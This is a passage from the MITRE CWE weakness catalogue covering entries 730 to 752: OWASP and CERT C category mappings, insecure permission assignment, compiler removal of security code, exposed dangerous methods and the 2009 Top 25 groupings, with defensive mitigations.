ParentOf	B	*410*	*Insufficient Resource Pool*	***711***	*438*
ParentOf	B	*412*	*Unrestricted Lock on Critical Resource*	***711***	*440*
ParentOf	B	*476*	*NULL Pointer Dereference*	***711***	*497*
ParentOf	B	*674*	*Uncontrolled Recursion*	***711***	*662*
MemberOf	V	*711*	*Weaknesses in OWASP Top Ten (2004)*	***711***	*711*

References

OWASP. "A9 Denial of Service". 2007. < http://sourceforge.net/project/showfiles.php?group_id=64424&package_id=70827 >.

CWE-731: OWASP Top Ten 2004 Category A10 - Insecure Configuration Management

Category ID: 731 *(Category)* **Status:** Incomplete

Description

Summary

Weaknesses in this category are related to the A10 category in the OWASP Top Ten 2004.

Relationships

Nature	Type	ID	Name	V	Page
ParentOf	P	*4*	*J2EE Environment Issues*	***711***	*1*
ParentOf	P	*10*	*ASP.NET Environment Issues*	***711***	*6*
ParentOf	B	*209*	*Error Message Information Leak*	*711*	*238*
ParentOf	V	*215*	*Information Leak Through Debug Information*	***711***	*245*
ParentOf	V	*219*	*Sensitive Data Under Web Root*	***711***	*249*
ParentOf	P	*275*	*Permission Issues*	*711*	*302*
ParentOf	P	*295*	*Certificate Issues*	***711***	*322*
ParentOf	B	*459*	*Incomplete Cleanup*	***711***	*481*
ParentOf	B	*489*	*Leftover Debug Code*	***711***	*513*
ParentOf	V	*526*	*Information Leak Through Environmental Variables*	***711***	*540*
ParentOf	V	*527*	*Information Leak Through CVS Repository*	***711***	*540*
ParentOf	V	*528*	*Information Leak Through Core Dump Files*	***711***	*541*
ParentOf	V	*529*	*Information Leak Through Access Control List Files*	***711***	*542*
ParentOf	V	*530*	*Information Leak Through Backup (.~bk) Files*	***711***	*542*

Nature	Type	ID	Name	V	Page
ParentOf	W	531	Information Leak Through Test Code	711	543
ParentOf	W	532	Information Leak Through Log Files	711	543
ParentOf	W	533	Information Leak Through Server Log Files	711	544
ParentOf	W	534	Information Leak Through Debug Log Files	711	544
ParentOf	W	540	Information Leak Through Source Code	711	548
ParentOf	W	541	Information Leak Through Include Source Code	711	548
ParentOf	W	542	Information Leak Through Cleanup Log Files	711	549
ParentOf	W	548	Information Leak Through Directory Listing	711	553
ParentOf	B	552	Files or Directories Accessible to External Parties	711	555
MemberOf	V	711	Weaknesses in OWASP Top Ten (2004)	711	711

References

OWASP. "A10 Insecure Configuration Management". 2007. < http://sourceforge.net/project/showfiles.php?group_id=64424&package_id=70827 >.

CWE-732: Insecure Permission Assignment for Critical Resource

Weakness ID: 732 *(Weakness Class)* **Status:** Draft

Description

Summary

The software specifies permissions for a security-critical resource in a way that allows that resource to be read or modified by unintended actors.

Extended Description

When a resource is given a permissions setting that provides access to a wider range of actors than required, it could lead to the disclosure of sensitive information, or the modification of that resource by unintended parties. This is especially dangerous when the resource is related to program configuration, execution or sensitive user data.

Time of Introduction

- Architecture and Design
- Implementation
- Installation
- Operation

Applicable Platforms

Languages

- All

Likelihood of Exploit

Medium to High

Potential Mitigations

Architecture and Design

When using a critical resource such as a configuration file, check to see if the resource has insecure permissions (such as being modifiable by any regular user), and generate an error or even exit the software if there is a possibility that the resource could have been modified by an unauthorized party.

Architecture and Design

Divide your application into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully defining distinct user groups, privileges, and/or roles. Map these against data, functionality, and the related resources. Then set the permissions accordingly. This will allow you to maintain more fine-grained control over your resources.

Implementation

During program startup, explicitly set the default permissions or umask to the most restrictive setting possible. Also set the appropriate permissions during program installation. This will prevent you from inheriting insecure permissions from any user who installs or runs the program.

System Configuration

For all configuration files, executables, and libraries, make sure that they are only readable and writable by the software's administrator.

Documentation

Do not suggest insecure configuration changes in your documentation, especially if those configurations can extend to resources and other software that are outside the scope of your own software.

Installation

Do not assume that the system administrator will manually change the configuration to the settings that you recommend in the manual.

Testing

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Testing

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic.

Attach the monitor to the process and watch for library functions or system calls on OS resources such as files, directories, and shared memory. Examine the arguments to these calls to infer which permissions are being used.

Note that this technique is only useful for permissions issues related to system resources. It is not likely to detect application-level business rules that are related to permissions, such as if a user of a blog system marks a post as "private," but the blog system inadvertently marks it as "public."

Testing

System Configuration

Ensure that your software runs properly under the Federal Desktop Core Configuration (FDCC) or an equivalent hardening configuration guide, which many organizations use to limit the attack surface and potential risk of deployed software.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	275	Permission Issues	**699**	302
ChildOf	Wc	668	Exposure of Resource to Wrong Sphere	**1000**	658
ChildOf	C	753	Porous Defenses	**750**	733
ParentOf	Wv	*276*	*Incorrect Default Permissions*	***1000***	*303*
ParentOf	Wv	*277*	*Insecure Inherited Permissions*	***1000***	*304*
ParentOf	Wv	*278*	*Insecure Preserved Inherited Permissions*	***1000***	*304*
ParentOf	Wv	*279*	*Incorrect Execution-Assigned Permissions*	***1000***	*305*
ParentOf	Wa	*281*	*Improper Preservation of Permissions*	***1000***	*307*
RequiredBy		*689*	*Permission Race Condition During Resource Copy*	*1000*	*680*

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
60	Reusing Session IDs (aka Session Replay)	
61	Session Fixation	
62	Cross Site Request Forgery (aka Session Riding)	

Maintenance Notes

The relationships between privileges, permissions, and actors (e.g. users and groups) need further refinement within the Research view. One complication is that these concepts apply to two different pillars, related to control of resources (CWE-664) and protection mechanism failures (CWE-396).

CWE-733: Compiler Optimization Removal or Modification of Security-critical Code

Weakness ID: 733 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The developer builds a security-critical protection mechanism into the software but the compiler optimizes the program such that the mechanism is removed or modified.

Applicable Platforms

Languages

- C *(Often)*
- C++ *(Often)*
- All Compiled Languages

Detection Factors

Black Box

This specific weakness is impossible to detect using black box methods. While an analyst could examine memory to see that it has not been scrubbed, an analysis of the executable would not be successful. This is because the compiler has already removed the relevant code. Only the source code shows whether the programmer intended to clear the memory or not, so this weakness is indistinguishable from others.

White Box

This weakness is only detectable using white box methods (see black box detection factor). Careful analysis is required to determine if the code is likely to be removed by the compiler.

Observed Examples

Reference	Description
CVE-2008-1685	C compiler optimization, as allowed by specifications, removes code that is used to perform checks to detect integer overflows.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	W	435	Interaction Error	**1000**	462
ChildOf	W	758	Reliance on Undefined, Unspecified, or Implementation-Defined Behavior	1000	735
ParentOf	W	*14*	*Compiler Removal of Code to Clear Buffers*	***1000***	*10*

Related Attack Patterns

CAPEC-ID	Attack Pattern Name *(CAPEC Version 1.2)*
8	Buffer Overflow in an API Call
9	Buffer Overflow in Local Command-Line Utilities
10	Buffer Overflow via Environment Variables
24	Filter Failure through Buffer Overflow
46	Overflow Variables and Tags

CWE-734: Weaknesses Addressed by the CERT C Secure Coding Standard

View ID: 734 *(View: Graph)* **Status:** Incomplete

Objective

CWE entries in this view (graph) are fully or partially eliminated by following the CERT C Secure Coding Standard. Since not all rules map to specific weaknesses, this view is incomplete.

View Data

View Metrics

	CWEs in this view		Total CWEs
Total	**102**	out of	777
Views	0	out of	22
Categories	15	out of	105
Weaknesses	85	out of	638
Compound_Elements	2	out of	12

View Audience

Developers

By following the CERT C Secure Coding Standard, developers will be able to fully or partially prevent the weaknesses that are identified in this view. In addition, developers can use a CWE coverage graph to determine which weaknesses are not directly addressed by the standard, which will help identify and resolve remaining gaps in training, tool acquisition, or other approaches for reducing weaknesses.

Software Customers

If a software developer claims to be following the CERT C Secure Coding standard, then customers can search for the weaknesses in this view in order to formulate independent evidence of that claim.

Educators

Educators can use this view in multiple ways. For example, if there is a focus on teaching weaknesses, the educator could link them to the relevant Secure Coding Standard.

Relationships

Nature	Type	ID	Name	V	Page
HasMember		735	CERT C Secure Coding Section 01 - Preprocessor (PRE)	**734**	724
HasMember		736	CERT C Secure Coding Section 02 - Declarations and Initialization (DCL)	**734**	725
HasMember		737	CERT C Secure Coding Section 03 - Expressions (EXP)	**734**	725
HasMember		738	CERT C Secure Coding Section 04 - Integers (INT)	**734**	726
HasMember		739	CERT C Secure Coding Section 05 - Floating Point (FLP)	**734**	726
HasMember		740	CERT C Secure Coding Section 06 - Arrays (ARR)	**734**	726
HasMember		741	CERT C Secure Coding Section 07 - Characters and Strings (STR)	**734**	727
HasMember		742	CERT C Secure Coding Section 08 - Memory Management (MEM)	**734**	727
HasMember		743	CERT C Secure Coding Section 09 - Input Output (FIO)	**734**	728
HasMember		744	CERT C Secure Coding Section 10 - Environment (ENV)	**734**	729
HasMember		745	CERT C Secure Coding Section 11 - Signals (SIG)	**734**	729
HasMember		746	CERT C Secure Coding Section 12 - Error Handling (ERR)	**734**	730
HasMember		747	CERT C Secure Coding Section 49 - Miscellaneous (MSC)	**734**	730
HasMember		748	CERT C Secure Coding Section 50 - POSIX (POS)	**734**	731

Relationship Notes

The relationships in this view were determined based on specific statements within the rules from the standard. Not all rules have direct relationships to individual weaknesses, although they likely have chaining relationships in specific circumstances.

References

"The CERT C Secure Coding Standard". Addison-Wesley Professional. 2008-10-14.
"The CERT C Secure Coding Standard". < https://www.securecoding.cert.org/confluence/display/seccode/CERT+C+Secure+Coding+Standard >.

CWE-735: CERT C Secure Coding Section 01 - Preprocessor (PRE)

Category ID: 735 *(Category)* **Status:** Incomplete

Description

Summary

Weaknesses in this category are related to rules in the preprocessor section of the CERT C Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

Relationships

Nature	Type	ID	Name	V	Page
ParentOf	We	684	Failure to Provide Specified Functionality	734	677
MemberOf	V	734	Weaknesses Addressed by the CERT C Secure Coding Standard	734	723

References

CERT. "01. Preprocessor (PRE)". < https://www.securecoding.cert.org/confluence/display/seccode/01.+Preprocessor+%28PRE%29 >.

CWE-736: CERT C Secure Coding Section 02 - Declarations and Initialization (DCL)

Category ID: 736 *(Category)* **Status:** Incomplete

Description

Summary

Weaknesses in this category are related to rules in the declarations and initialization section of the CERT C Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

Relationships

Nature	Type	ID	Name	V	Page
ParentOf	Wv	547	Use of Hard-coded, Security-relevant Constants	734	552
ParentOf	We	628	Function Call with Incorrectly Specified Arguments	734	612
ParentOf	Wv	686	Function Call With Incorrect Argument Type	734	678
MemberOf	V	734	Weaknesses Addressed by the CERT C Secure Coding Standard	734	723

References

CERT. "02. Declarations and Initialization (DCL)". < https://www.securecoding.cert.org/confluence/display/seccode/02.+Declarations+and+Initialization+%28DCL%29 >.

CWE-737: CERT C Secure Coding Section 03 - Expressions (EXP)

Category ID: 737 *(Category)* **Status:** Incomplete

Description

Summary

Weaknesses in this category are related to rules in the expressions section of the CERT C Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

Relationships

Nature	Type	ID	Name	V	Page
ParentOf	Wv	467	Use of sizeof() on a Pointer Type	734	487
ParentOf	We	468	Incorrect Pointer Scaling	734	488
ParentOf	We	476	NULL Pointer Dereference	734	497
ParentOf	We	628	Function Call with Incorrectly Specified Arguments	734	612
ParentOf	Wc	704	Incorrect Type Conversion or Cast	734	707
MemberOf	V	734	Weaknesses Addressed by the CERT C Secure Coding Standard	734	723

References

CERT. "03. Expressions (EXP)". < https://www.securecoding.cert.org/confluence/display/seccode/03.+Expressions+%28EXP%29 >.

CWE-738: CERT C Secure Coding Section 04 - Integers (INT)

Category ID: 738 *(Category)* **Status:** Incomplete

Description

Summary

Weaknesses in this category are related to rules in the integers section of the CERT C Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

Relationships

Nature	Type	ID	Name	V	Page
ParentOf	Wc	*20*	*Improper Input Validation*	***734***	*14*
ParentOf	We	*129*	*Unchecked Array Indexing*	***734***	*160*
ParentOf	We	*190*	*Integer Overflow or Wraparound*	***734***	*218*
ParentOf	B	*192*	*Integer Coercion Error*	***734***	*221*
ParentOf	We	*197*	*Numeric Truncation Error*	***734***	*228*
ParentOf	We	*369*	*Divide By Zero*	***734***	*395*
ParentOf	We	*466*	*Return of Pointer Value Outside of Expected Range*	***734***	*486*
ParentOf	We	*587*	*Assignment of a Fixed Address to a Pointer*	***734***	*578*
ParentOf	We	*606*	*Unchecked Input for Loop Condition*	***734***	*594*
ParentOf	We	*676*	*Use of Potentially Dangerous Function*	***734***	*663*
ParentOf	We	*681*	*Incorrect Conversion between Numeric Types*	***734***	*673*
ParentOf	Wc	*682*	*Incorrect Calculation*	***734***	*673*
MemberOf	V	*734*	*Weaknesses Addressed by the CERT C Secure Coding Standard*	***734***	*723*

References

CERT. "04. Integers (INT)". < https://www.securecoding.cert.org/confluence/display/seccode/04.+Integers+%28INT%29 >.

CWE-739: CERT C Secure Coding Section 05 - Floating Point (FLP)

Category ID: 739 *(Category)* **Status:** Incomplete

Description

Summary

Weaknesses in this category are related to rules in the floating point section of the CERT C Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

Relationships

Nature	Type	ID	Name	V	Page
ParentOf	We	*369*	*Divide By Zero*	*734*	*395*
ParentOf	We	*681*	*Incorrect Conversion between Numeric Types*	*734*	*673*
ParentOf	Wc	*682*	*Incorrect Calculation*	*734*	*673*
ParentOf	Ww	*686*	*Function Call With Incorrect Argument Type*	*734*	*678*
MemberOf	V	*734*	*Weaknesses Addressed by the CERT C Secure Coding Standard*	***734***	*723*

References

CERT. "05. Floating Point (FLP)". < https://www.securecoding.cert.org/confluence/display/seccode/05.+Floating+Point+%28FLP%29 >.

CWE-740: CERT C Secure Coding Section 06 - Arrays (ARR)

Category ID: 740 *(Category)* **Status:** Incomplete

Description

Summary

Weaknesses in this category are related to rules in the arrays section of the CERT C Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

Relationships

Nature	Type	ID	Name	V	Page
ParentOf		*119*	*Failure to Constrain Operations within the Bounds of a Memory Buffer*	***734***	*144*
ParentOf		*129*	*Unchecked Array Indexing*	*734*	*160*
ParentOf		*467*	*Use of sizeof() on a Pointer Type*	*734*	*487*
ParentOf		*469*	*Use of Pointer Subtraction to Determine Size*	***734***	*489*
ParentOf		*665*	*Improper Initialization*	***734***	*653*
MemberOf	V	*734*	*Weaknesses Addressed by the CERT C Secure Coding Standard*	***734***	*723*

References

CERT. "06. Arrays (ARR)". < https://www.securecoding.cert.org/confluence/display/seccode/06.+Arrays+%28ARR%29 >.

CWE-741: CERT C Secure Coding Section 07 - Characters and Strings (STR)

Category ID: 741 *(Category)* **Status:** Incomplete

Description

Summary

Weaknesses in this category are related to rules in the characters and strings section of the CERT C Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

Relationships

Nature	Type	ID	Name	V	Page
ParentOf		*78*	*Failure to Preserve OS Command Structure ('OS Command Injection')*	***734***	*77*
ParentOf		*88*	*Argument Injection or Modification*	***734***	*97*
ParentOf		*119*	*Failure to Constrain Operations within the Bounds of a Memory Buffer*	*734*	*144*
ParentOf		*120*	*Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')*	***734***	*148*
ParentOf		*135*	*Incorrect Calculation of Multi-Byte String Length*	***734***	*167*
ParentOf		*170*	*Improper Null Termination*	***734***	*196*
ParentOf		*193*	*Off-by-one Error*	***734***	*222*
ParentOf		*464*	*Addition of Data Structure Sentinel*	***734***	*485*
ParentOf		*686*	*Function Call With Incorrect Argument Type*	*734*	*678*
ParentOf		*704*	*Incorrect Type Conversion or Cast*	*734*	*707*
MemberOf	V	*734*	*Weaknesses Addressed by the CERT C Secure Coding Standard*	***734***	*723*

References

CERT. "07. Characters and Strings (STR)". < https://www.securecoding.cert.org/confluence/display/seccode/07.+Characters+and+Strings+%28STR%29 >.

CWE-742: CERT C Secure Coding Section 08 - Memory Management (MEM)

Category ID: 742 *(Category)* **Status:** Incomplete

Description

Summary

Weaknesses in this category are related to rules in the memory management section of the CERT C Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

Relationships

Nature	Type	ID	Name	V	Page
ParentOf	Wc	*20*	*Improper Input Validation*	*734*	*14*
ParentOf	Wc	*119*	*Failure to Constrain Operations within the Bounds of a Memory Buffer*	*734*	*144*
ParentOf	We	*128*	*Wrap-around Error*	***734***	*158*
ParentOf	We	*131*	*Incorrect Calculation of Buffer Size*	***734***	*163*
ParentOf	We	*190*	*Integer Overflow or Wraparound*	*734*	*218*
ParentOf	We	*226*	*Sensitive Information Uncleared Before Release*	***734***	*252*
ParentOf	Wv	*244*	*Failure to Clear Heap Memory Before Release ('Heap Inspection')*	***734***	*266*
ParentOf	We	*252*	*Unchecked Return Value*	***734***	*274*
ParentOf	Wv	*415*	*Double Free*	***734***	*442*
ParentOf	We	*416*	*Use After Free*	***734***	*445*
ParentOf	We	*476*	*NULL Pointer Dereference*	*734*	*497*
ParentOf	Wv	*528*	*Information Leak Through Core Dump Files*	***734***	*541*
ParentOf	Wv	*590*	*Free of Memory not on the Heap*	***734***	*581*
ParentOf	Wv	*591*	*Sensitive Data Storage in Improperly Locked Memory*	***734***	*582*
ParentOf	We	*628*	*Function Call with Incorrectly Specified Arguments*	*734*	*612*
ParentOf	We	*665*	*Improper Initialization*	*734*	*653*
ParentOf	Wv	*687*	*Function Call With Incorrectly Specified Argument Value*	***734***	*678*
MemberOf	V	*734*	*Weaknesses Addressed by the CERT C Secure Coding Standard*	***734***	*723*

References

CERT. "08. Memory Management (MEM)". < https://www.securecoding.cert.org/confluence/display/seccode/08.+Memory+Management+%28MEM%29 >.

CWE-743: CERT C Secure Coding Section 09 - Input Output (FIO)

Category ID: 743 *(Category)* **Status:** Incomplete

Description

Summary

Weaknesses in this category are related to rules in the input/output section of the CERT C Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

Relationships

Nature	Type	ID	Name	V	Page
ParentOf	Wc	*22*	*Path Traversal*	***734***	*22*
ParentOf	Wv	*37*	*Path Traversal: '/absolute/pathname/here'*	***734***	*39*
ParentOf	Wv	*38*	*Path Traversal: '\absolute\pathname\here'*	***734***	*40*
ParentOf	Wv	*39*	*Path Traversal: 'C:dirname'*	***734***	*41*
ParentOf	We	*41*	*Improper Resolution of Path Equivalence*	***734***	*43*
ParentOf	We	*59*	*Improper Link Resolution Before File Access ('Link Following')*	***734***	*54*
ParentOf	Wv	*62*	*UNIX Hard Link*	***734***	*58*
ParentOf	Wv	*64*	*Windows Shortcut Following (.LNK)*	***734***	*59*
ParentOf	Wv	*65*	*Windows Hard Link*	***734***	*60*
ParentOf	Wv	*67*	*Improper Handling of Windows Device Names*	***734***	*62*
ParentOf	Wc	*119*	*Failure to Constrain Operations within the Bounds of a Memory Buffer*	*734*	*144*
ParentOf	We	*134*	*Uncontrolled Format String*	***734***	*164*
ParentOf	We	*241*	*Improper Handling of Unexpected Data Type*	***734***	*263*
ParentOf	Wv	*276*	*Incorrect Default Permissions*	***734***	*303*
ParentOf	Wv	*279*	*Incorrect Execution-Assigned Permissions*	***734***	*305*

Nature	Type	ID	Name	V	Page
ParentOf		362	Race Condition	734	383
ParentOf		367	Time-of-check Time-of-use (TOCTOU) Race Condition	734	392
ParentOf		379	Creation of Temporary File in Directory with Incorrect Permissions	734	405
ParentOf		391	Unchecked Error Condition	734	417
ParentOf		403	UNIX File Descriptor Leak	734	430
ParentOf		404	Improper Resource Shutdown or Release	734	431
ParentOf		552	Files or Directories Accessible to External Parties	734	555
ParentOf		675	Duplicate Operations on Resource	734	663
ParentOf		676	Use of Potentially Dangerous Function	734	663
ParentOf		686	Function Call With Incorrect Argument Type	734	678
MemberOf	V	734	Weaknesses Addressed by the CERT C Secure Coding Standard	734	723

References

CERT. "09. Input Output (FIO)". < https://www.securecoding.cert.org/confluence/display/seccode/09.+Input+Output+%28FIO%29 >.

CWE-744: CERT C Secure Coding Section 10 - Environment (ENV)

Category ID: 744 *(Category)* **Status:** Incomplete

Description

Summary

Weaknesses in this category are related to rules in the environment section of the CERT C Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

Relationships

Nature	Type	ID	Name	V	Page
ParentOf		78	Failure to Preserve OS Command Structure ('OS Command Injection')	734	77
ParentOf		88	Argument Injection or Modification	734	97
ParentOf		119	Failure to Constrain Operations within the Bounds of a Memory Buffer	734	144
ParentOf		426	Untrusted Search Path	734	453
ParentOf		462	Duplicate Key in Associative List (Alist)	734	483
ParentOf		705	Incorrect Control Flow Scoping	734	708
MemberOf	V	734	Weaknesses Addressed by the CERT C Secure Coding Standard	734	723

References

CERT. "10. Environment (ENV)". < https://www.securecoding.cert.org/confluence/display/seccode/10.+Environment+%28ENV%29 >.

CWE-745: CERT C Secure Coding Section 11 - Signals (SIG)

Category ID: 745 *(Category)* **Status:** Incomplete

Description

Summary

Weaknesses in this category are related to rules in the signals section of the CERT C Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

Relationships

Nature	Type	ID	Name	V	Page
ParentOf		479	Unsafe Function Call from a Signal Handler	734	502
ParentOf		662	Insufficient Synchronization	734	651

Nature	Type	ID	Name	V	Page
MemberOf	V	*734*	*Weaknesses Addressed by the CERT C Secure Coding Standard*	***734***	*723*

References

CERT. "11. Signals (SIG)". < https://www.securecoding.cert.org/confluence/display/seccode/11.+Signals+%28SIG%29 >.

CWE-746: CERT C Secure Coding Section 12 - Error Handling (ERR)

Category ID: 746 *(Category)* **Status:** Incomplete

Description

Summary

Weaknesses in this category are related to rules in the error handling section of the CERT C Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

Relationships

Nature	Type	ID	Name	V	Page
ParentOf	Wc	*20*	*Improper Input Validation*	*734*	*14*
ParentOf	Wb	*391*	*Unchecked Error Condition*	*734*	*417*
ParentOf	Wb	*544*	*Failure to Use a Standardized Error Handling Mechanism*	***734***	*550*
ParentOf	Wb	*676*	*Use of Potentially Dangerous Function*	*734*	*663*
ParentOf	Wc	*705*	*Incorrect Control Flow Scoping*	*734*	*708*
MemberOf	V	*734*	*Weaknesses Addressed by the CERT C Secure Coding Standard*	***734***	*723*

References

CERT. "12. Error Handling (ERR)". < https://www.securecoding.cert.org/confluence/display/seccode/12.+Error+Handling+%28ERR%29 >.

CWE-747: CERT C Secure Coding Section 49 - Miscellaneous (MSC)

Category ID: 747 *(Category)* **Status:** Incomplete

Description

Summary

Weaknesses in this category are related to rules in the miscellaneous section of the CERT C Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

Relationships

Nature	Type	ID	Name	V	Page
ParentOf	Wb	*14*	*Compiler Removal of Code to Clear Buffers*	***734***	*10*
ParentOf	Wc	*20*	*Improper Input Validation*	*734*	*14*
ParentOf	Wv	*176*	*Failure to Handle Unicode Encoding*	***734***	*203*
ParentOf	Wc	*330*	*Use of Insufficiently Random Values*	***734***	*355*
ParentOf	Wb	*480*	*Use of Incorrect Operator*	***734***	*503*
ParentOf	Wv	*482*	*Comparing instead of Assigning*	***734***	*505*
ParentOf	Wv	*561*	*Dead Code*	***734***	*560*
ParentOf	Wv	*563*	*Unused Variable*	***734***	*562*
ParentOf	Wv	*570*	*Expression is Always False*	***734***	*567*
ParentOf	Wv	*571*	*Expression is Always True*	***734***	*568*
ParentOf	Wc	*697*	*Insufficient Comparison*	***734***	*687*
ParentOf	Wc	*704*	*Incorrect Type Conversion or Cast*	*734*	*707*
MemberOf	V	*734*	*Weaknesses Addressed by the CERT C Secure Coding Standard*	***734***	*723*

References

CERT. "49. Miscellaneous (MSC)". < https://www.securecoding.cert.org/confluence/display/seccode/49.+Miscellaneous+%28MSC%29 >.

CWE-748: CERT C Secure Coding Section 50 - POSIX (POS)

Category ID: 748 *(Category)* **Status:** Incomplete

Description

Summary

Weaknesses in this category are related to rules in the POSIX section of the CERT C Secure Coding Standard. Since not all rules map to specific weaknesses, this category may be incomplete.

Relationships

Nature	Type	ID	Name	V	Page
ParentOf	We	*59*	*Improper Link Resolution Before File Access ('Link Following')*	*734*	*54*
ParentOf	We	*170*	*Improper Null Termination*	*734*	*196*
ParentOf	We	*242*	*Use of Inherently Dangerous Function*	***734***	*263*
ParentOf	We	*272*	*Least Privilege Violation*	***734***	*298*
ParentOf	We	*273*	*Improper Check for Dropped Privileges*	***734***	*300*
ParentOf	We	*363*	*Race Condition Enabling Link Following*	***734***	*387*
ParentOf	We	*365*	*Race Condition in Switch*	***734***	*389*
ParentOf	We	*366*	*Race Condition within a Thread*	***734***	*390*
ParentOf	We	*562*	*Return of Stack Variable Address*	***734***	*562*
ParentOf	We	*667*	*Insufficient Locking*	***734***	*657*
ParentOf	Wv	*686*	*Function Call With Incorrect Argument Type*	*734*	*678*
ParentOf	Wc	*696*	*Incorrect Behavior Order*	***734***	*686*
MemberOf	V	*734*	*Weaknesses Addressed by the CERT C Secure Coding Standard*	***734***	*723*

References

CERT. "50. POSIX (POS)". < https://www.securecoding.cert.org/confluence/display/seccode/50.+POSIX+%28POS%29 >.

CWE-749: Exposed Dangerous Method or Function

Weakness ID: 749 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software provides an Applications Programming Interface (API) or similar interface for interaction with external actors, but the interface includes a dangerous method or function that is not properly restricted.

Extended Description

This weakness can lead to a wide variety of resultant weaknesses, depending on the behavior of the exposed method. It can apply to any number of technologies and approaches, such as ActiveX controls, Java functions, IOCTLs, and so on.

The exposure can occur in a few different ways:

1) The function/method was never intended to be exposed to outside actors.

2) The function/method was only intended to be accessible to a limited set of actors, such as Internet-based access from a single web site.

Time of Introduction

- Architecture and Design
- Implementation

Observed Examples

Reference	Description
CVE-2007-1112	security tool ActiveX control allows download or upload of files
CVE-2007-6382	arbitrary Java code execution via exposed method

Potential Mitigations

Architecture and Design

If you must expose a method, make sure to perform input validation on all arguments, limit access to authorized parties, and protect against all possible vulnerabilities.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Weakness	485	Insufficient Encapsulation	**699** **1000**	508
ChildOf	Weakness	691	Insufficient Control Flow Management	1000	682
ParentOf	Weakness	*618*	*Exposed Unsafe ActiveX Method*	***1000***	*603*

Research Gaps

Under-reported and under-studied. This weakness could appear in any technology, language, or framework that allows the programmer to provide a functional interface to external parties, but it is not heavily reported. In 2007, CVE began showing a notable increase in reports of exposed method vulnerabilities in ActiveX applications, as well as IOCTL access to OS-level resources. These weaknesses have been documented for Java applications in various secure programming sources, but there are few reports in CVE, which suggests limited awareness in most parts of the vulnerability research community.

CWE-750: Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors

View ID: 750 *(View: Graph)* **Status:** Incomplete

Objective

CWE entries in this view (graph) are listed in the 2009 CWE/SANS Top 25 Programming Errors.

View Data

View Metrics

	CWEs in this view		Total CWEs
Total	**28**	out of	777
Views	0	out of	22
Categories	3	out of	105
Weaknesses	23	out of	638
Compound_Elements	2	out of	12

View Audience

Developers

By following the Top 25, developers will be able to significantly reduce the number of weaknesses that occur in their software.

Software Customers

If a software developer claims to be following the Top 25, then customers can search for the weaknesses in this view in order to formulate independent evidence of that claim.

Educators

Educators can use this view in multiple ways. For example, if there is a focus on teaching weaknesses, the educator could focus on the Top 25.

Relationships

Nature	Type	ID	Name	V	Page
HasMember	Compound	751	Insecure Interaction Between Components	**750**	733
HasMember	Compound	752	Risky Resource Management	**750**	733
HasMember	Compound	753	Porous Defenses	**750**	733

References

"2009 CWE/SANS Top 25 Most Dangerous Programming Errors". 2009-01-12. < http://cwe.mitre.org/top25 >.

CWE-751: Insecure Interaction Between Components

Category ID: 751 *(Category)* **Status:** Incomplete

Description

Summary

Weaknesses in this category are listed in the "Insecure Interaction Between Components" section of the 2009 CWE/SANS Top 25 Programming Errors.

Relationships

Nature	Type	ID	Name	V	Page
ParentOf		*20*	*Improper Input Validation*	***750***	*14*
ParentOf		*78*	*Failure to Preserve OS Command Structure ('OS Command Injection')*	***750***	*77*
ParentOf		*79*	*Failure to Preserve Web Page Structure ('Cross-site Scripting')*	***750***	*83*
ParentOf		*89*	*Failure to Preserve SQL Query Structure ('SQL Injection')*	***750***	*99*
ParentOf		*116*	*Improper Encoding or Escaping of Output*	***750***	*136*
ParentOf		*209*	*Error Message Information Leak*	***750***	*238*
ParentOf		*319*	*Cleartext Transmission of Sensitive Information*	***750***	*342*
ParentOf		*352*	*Cross-Site Request Forgery (CSRF)*	***750***	*373*
ParentOf		*362*	*Race Condition*	***750***	*383*
MemberOf	V	*750*	*Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors*	***750***	*732*

References

"2009 CWE/SANS Top 25 Programming Errors". 2009-01-12. < http://cwe.mitre.org/top25 >.

CWE-752: Risky Resource Management

Category ID: 752 *(Category)* **Status:** Incomplete

Description

Summary

Weaknesses in this category are listed in the "Risky Resource Management" section of the 2009 CWE/SANS Top 25 Programming Errors.

Relationships

Nature	Type	ID	Name	V	Page
ParentOf		*73*	*External Control of File Name or Path*	***750***	*67*
ParentOf		*94*	*Failure to Control Generation of Code ('Code Injection')*	***750***	*110*
ParentOf		*119*	*Failure to Constrain Operations within the Bounds of a Memory Buffer*	***750***	*144*
ParentOf		*404*	*Improper Resource Shutdown or Release*	***750***	*431*
ParentOf		*426*	*Untrusted Search Path*	***750***	*453*
ParentOf		*494*	*Download of Code Without Integrity Check*	***750***	*518*
ParentOf		*642*	*External Control of Critical State Data*	***750***	*625*
ParentOf		*665*	*Improper Initialization*	***750***	*653*
